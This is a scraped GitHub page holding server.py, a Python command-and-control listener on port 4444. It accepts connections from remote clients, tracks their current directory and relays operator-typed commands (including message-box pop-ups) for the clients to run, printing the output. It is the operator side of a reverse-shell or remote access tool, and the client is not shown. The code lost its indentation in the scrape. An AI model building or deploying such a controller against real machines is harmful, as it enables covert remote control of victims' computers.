-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
108 lines (88 loc) · 2.96 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from socket import *
from os import system, name
import sys
import time
import random
def clear():
if name == 'nt':
_ = system('cls')
else:
_ = system('clear')
def send_full_message(client_socket, message):
try:
message_length = str(len(message)).zfill(10)
client_socket.send(message_length.encode())
client_socket.send(message.encode())
except Exception as e:
print(f"Error sending message: {e}")
return False
return True
def receive_full_message(client_socket):
try:
message_length = int(client_socket.recv(10).decode())
data = b''
while len(data) < message_length:
packet = client_socket.recv(message_length - len(data))
if not packet:
return None
data += packet
return data.decode()
except ValueError:
return None
def handle_client(client_socket, addr):
print()
print("Connected -> " + str(addr))
infoReceiver = receive_full_message(client_socket)
if (infoReceiver):
print(infoReceiver)
send_full_message(client_socket, "getcwd")
current_directory = receive_full_message(client_socket)
if current_directory is None:
print(f"Client {addr} disconnected during initial setup")
client_socket.close()
return
while True:
try:
receiver = receive_full_message(client_socket)
if receiver is None:
print(f"\nClient {addr} has disconnected")
break
if receiver.startswith("DIR:"):
current_directory = receiver[4:]
if receiver and not receiver == current_directory or receiver.startswith("DIR:"):
print(receiver)
cmd = input(f"{current_directory}> ")
if cmd in ["exit", "quit", "q"]:
send_full_message(client_socket, cmd)
break
elif cmd.lower().startswith("msgbox"):
send_full_message(client_socket, cmd)
elif cmd in ["clear", "cls"]:
clear()
send_full_message(client_socket, cmd)
elif cmd is None or cmd == "":
send_full_message(client_socket, "generic_no_input")
else:
send_full_message(client_socket, cmd)
except (ConnectionResetError, BrokenPipeError):
print(f"Connection lost to {addr}")
break
client_socket.close()
print(f"Connection closed with {addr}\n")
def main():
ip = "127.0.0.1"
port = 4444
connection = socket(AF_INET, SOCK_STREAM)
connection.bind((ip, port))
connection.listen(5)
print(f'[+] Listening on {ip}:{port}')
while True:
try:
client, addr = connection.accept()
handle_client(client, addr)
except KeyboardInterrupt:
print("\nServer shutting down.")
break
connection.close()
if __name__ == "__main__":
main()